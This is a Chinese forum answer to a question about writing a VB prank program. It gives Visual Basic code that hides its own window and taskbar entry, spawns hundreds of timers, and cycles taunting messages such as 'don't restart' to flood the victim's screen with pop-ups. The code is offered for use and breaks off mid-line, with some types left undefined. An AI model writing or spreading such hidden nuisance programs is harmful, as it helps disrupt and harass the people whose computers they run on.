怎么编vb恶搞程序

才给5分啊 算了 给你吧
这个是疯狂弹出消息框的代码
以下是我从网上整理的代码

'取得系统毫秒数（很随机）
Private Declare Function GetTickCount Lib "kernel32" () As Long

Dim hMsgBox As Long, xPoint As Long, yPoint As Long
Dim stMsgBoxRect As RECT, stParentRect As RECT
Dim msg(10) As String
Dim msgn As Integer

Private Sub Form_Load()
Me.Hide
Command2_Click
App.TaskVisible = False

msgn = 0
msg(1) = "气死你"
msg(2) = "就气你"
msg(3) = "死吧你"
msg(4) = "别重启"
msg(5) = "就堵你"
msg(6) = "慢慢点"
msg(7) = "累死你"
msg(8) = "点快点"
msg(9) = "烦死你"
msg(10) = "哎，重启"

End Sub

Private Sub T_Timer(Index As Integer)
Tag = Tag + 1
Load T(Tag)
T(Tag).Interval = T(Tag).Interval
T(Tag).Enabled = True

If Tag = 400 Then

T(Tag).Enable